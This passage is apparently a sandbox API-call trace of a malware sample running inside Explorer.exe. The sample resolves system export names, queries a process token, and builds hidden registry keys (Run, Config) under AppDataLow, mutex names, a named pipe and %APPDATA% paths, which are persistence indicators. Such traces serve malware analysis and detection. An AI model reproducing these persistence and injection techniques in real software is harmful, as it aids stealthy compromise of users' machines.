(lpString="LdrGetDllHandleByMapping") returned 24 [0042.534] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0042.534] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0042.534] lstrlenA (lpString="LdrGetFailureData") returned 17 [0042.534] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0042.534] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0042.534] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0042.534] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0042.534] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0042.534] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0042.534] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0042.534] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0042.534] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0042.534] lstrlenA (lpString="LdrLoadDll") returned 10 [0042.534] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0042.534] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0042.534] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0042.534] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0042.534] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0042.534] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0042.535] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0042.535] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0042.535] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0042.535] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0042.535] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0042.535] lstrlenA (lpString="LdrResFindResource") returned 18 [0042.535] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0042.535] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0042.535] lstrlenA (lpString="LdrResRelease") returned 13 [0042.535] lstrlenA (lpString="LdrResSearchResource") returned 20 [0042.535] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0042.535] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0042.535] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0042.535] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0042.535] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0042.535] lstrlenA (lpString="LdrShutdownThread") returned 17 [0042.535] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0042.535] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0042.535] lstrlenA (lpString="LdrUnloadDll") returned 12 [0042.535] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0042.535] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0042.535] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0042.535] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0042.535] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0042.535] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0042.535] lstrlenA (lpString="MD4Final") returned 8 [0042.535] lstrlenA (lpString="MD4Init") returned 7 [0042.535] lstrlenA (lpString="MD4Update") returned 9 [0042.535] lstrlenA (lpString="MD5Final") returned 8 [0042.535] lstrlenA (lpString="MD5Init") returned 7 [0042.535] lstrlenA (lpString="MD5Update") returned 9 [0042.535] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0042.535] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0042.535] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0042.535] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0042.535] lstrlenA (lpString="NtAccessCheck") returned 13 [0042.535] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0042.535] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0042.535] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0042.535] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0042.535] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0042.535] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0042.535] lstrlenA (lpString="NtAddAtom") returned 9 [0042.535] lstrlenA (lpString="NtAddBootEntry") returned 14 [0042.536] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0042.536] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0042.536] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0042.536] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0042.536] lstrlenA (lpString="NtAlertThread") returned 13 [0042.536] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0042.536] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0042.536] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0042.536] lstrlenA (lpString="NtAllocateUuids") returned 15 [0042.536] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0042.536] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0042.536] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0042.536] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0042.536] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0042.536] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0042.536] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0042.536] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0042.536] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0042.536] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0042.536] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0042.536] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0042.536] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0042.536] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0042.536] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0042.536] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0042.536] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0042.536] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0042.536] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0042.536] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0042.536] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0042.536] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0042.536] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0042.536] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0042.536] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0042.536] lstrlenA (lpString="NtCallbackReturn") returned 16 [0042.536] lstrlenA (lpString="NtCancelIoFile") returned 14 [0042.536] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0042.536] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0042.536] lstrlenA (lpString="NtCancelTimer") returned 13 [0042.536] lstrlenA (lpString="NtClearEvent") returned 12 [0042.536] lstrlenA (lpString="NtClose") returned 7 [0042.537] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0042.537] lstrlenA (lpString="NtCommitComplete") returned 16 [0042.537] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0042.537] lstrlenA (lpString="NtCommitTransaction") returned 19 [0042.537] lstrlenA (lpString="NtCompactKeys") returned 13 [0042.537] lstrlenA (lpString="NtCompareTokens") returned 15 [0042.537] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0042.537] lstrlenA (lpString="NtCompressKey") returned 13 [0042.537] lstrlenA (lpString="NtConnectPort") returned 13 [0042.537] lstrlenA (lpString="NtContinue") returned 10 [0042.537] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0042.537] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0042.537] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0042.537] lstrlenA (lpString="NtCreateEvent") returned 13 [0042.537] lstrlenA (lpString="NtCreateEventPair") returned 17 [0042.537] lstrlenA (lpString="NtCreateFile") returned 12 [0042.537] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0042.537] lstrlenA (lpString="NtCreateJobObject") returned 17 [0042.537] lstrlenA (lpString="NtCreateJobSet") returned 14 [0042.537] lstrlenA (lpString="NtCreateKey") returned 11 [0042.537] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0042.537] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0042.537] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0042.537] lstrlenA (lpString="NtCreateMutant") returned 14 [0042.537] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0042.537] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0042.537] lstrlenA (lpString="NtCreatePort") returned 12 [0042.537] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0042.537] lstrlenA (lpString="NtCreateProcess") returned 15 [0042.537] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0042.537] lstrlenA (lpString="NtCreateProfile") returned 15 [0042.537] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0042.537] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0042.537] lstrlenA (lpString="NtCreateSection") returned 15 [0042.543] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefd710000 [0042.544] GetProcAddress (hModule=0x7fefd710000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7fefd71d710 [0042.544] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0042.545] NtOpenProcess (in: ProcessHandle=0x6adfd38, DesiredAccess=0x400, ObjectAttributes=0x6adfcd0*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6adfcc0*(UniqueProcess=0x458, UniqueThread=0x0) | out: ProcessHandle=0x6adfd38*=0x12c0) returned 0x0 [0042.545] NtOpenProcessToken (in: ProcessHandle=0x12c0, DesiredAccess=0x8, TokenHandle=0x6adfd30 | out: TokenHandle=0x6adfd30*=0x1230) returned 0x0 [0042.546] NtQueryInformationToken (in: TokenHandle=0x1230, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x6adfd20 | out: TokenInformation=0x0, ReturnLength=0x6adfd20) returned 0xc0000023 [0042.546] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2c) returned 0x9b6d500 [0042.546] NtQueryInformationToken (in: TokenHandle=0x1230, TokenInformationClass=0x1, TokenInformation=0x9b6d500, TokenInformationLength=0x2c, ReturnLength=0x6adfd20 | out: TokenInformation=0x9b6d500, ReturnLength=0x6adfd20) returned 0x0 [0042.546] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.546] NtClose (Handle=0x1230) returned 0x0 [0042.546] NtClose (Handle=0x12c0) returned 0x0 [0042.546] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7fefd5c0000 [0042.547] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrRChrA") returned 0x7fefd5c4c9c [0042.547] StrRChrA (lpStart="C:\\Windows\\Explorer.EXE", lpEnd=0x0, wMatch=0x5c) returned="\\Explorer.EXE" [0042.547] _strupr (in: _String=0x9b6d2fb | out: _String="EXPLORER.EXE") returned="EXPLORER.EXE" [0042.547] lstrlenA (lpString="EXPLORER.EXE") returned 12 [0042.547] GetCurrentProcessId () returned 0x458 [0042.547] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0042.547] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0042.547] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76f40000 [0042.548] GetProcAddress (hModule=0x76f40000, lpProcName="FindWindowA") returned 0x76f68270 [0042.548] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0042.549] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x6adfd20 | out: lpdwProcessId=0x6adfd20) returned 0x45c [0042.550] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.551] GetProcAddress (hModule=0x76f40000, lpProcName="wsprintfA") returned 0x76fbbae8 [0042.551] wsprintfA (in: param_1=0x9b6d500, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0042.551] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x4e) returned 0x9b6d530 [0042.551] lstrcpyA (in: lpString1=0x9b6d530, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0042.551] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0042.551] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.551] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0042.551] lstrlenA (lpString="\\Vr") returned 3 [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x4f) returned 0x9b6d590 [0042.551] lstrcpyA (in: lpString1=0x9b6d590, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0042.551] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0042.551] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0042.551] lstrlenA (lpString="\\Sfi") returned 4 [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x50) returned 0x9b6d5f0 [0042.551] lstrcpyA (in: lpString1=0x9b6d5f0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0042.551] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0042.551] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0042.551] lstrlenA (lpString="\\Run") returned 4 [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x50) returned 0x9b6d650 [0042.551] lstrcpyA (in: lpString1=0x9b6d650, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0042.551] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0042.551] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0042.551] lstrlenA (lpString="\\Config") returned 7 [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x53) returned 0x9b6d6b0 [0042.551] lstrcpyA (in: lpString1=0x9b6d6b0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0042.551] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.551] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0042.551] lstrlenA (lpString="Local\\") returned 6 [0042.551] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d710 [0042.552] lstrcpyA (in: lpString1=0x9b6d710, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.552] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0042.552] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.552] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0042.552] lstrlenA (lpString="Local\\") returned 6 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d750 [0042.552] lstrcpyA (in: lpString1=0x9b6d750, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.552] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0042.552] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.552] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0042.552] lstrlenA (lpString="Local\\") returned 6 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d790 [0042.552] lstrcpyA (in: lpString1=0x9b6d790, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.552] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0042.552] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.552] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0042.552] lstrlenA (lpString="Local\\") returned 6 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d7d0 [0042.552] lstrcpyA (in: lpString1=0x9b6d7d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.552] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0042.552] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.552] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0042.552] lstrlenA (lpString="Local\\") returned 6 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d810 [0042.552] lstrcpyA (in: lpString1=0x9b6d810, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.552] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0042.552] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.552] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0042.552] lstrlenA (lpString="Local\\") returned 6 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d850 [0042.552] lstrcpyA (in: lpString1=0x9b6d850, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.552] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0042.552] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.552] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.552] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0042.553] lstrlenA (lpString="Local\\") returned 6 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d890 [0042.553] lstrcpyA (in: lpString1=0x9b6d890, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.553] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0042.553] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.553] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0042.553] lstrlenA (lpString="Local\\") returned 6 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6d8d0 [0042.553] lstrcpyA (in: lpString1=0x9b6d8d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.553] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0042.553] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.553] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0042.553] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x30) returned 0x9b6d910 [0042.553] lstrcpyA (in: lpString1=0x9b6d910, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0042.553] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0042.553] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.553] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0042.553] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x3b) returned 0x9b6d950 [0042.553] lstrcpyA (in: lpString1=0x9b6d950, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0042.553] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0042.553] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.553] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0042.553] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x3b) returned 0x9b6d9a0 [0042.553] lstrcpyA (in: lpString1=0x9b6d9a0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0042.553] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0042.553] HeapFree (in: 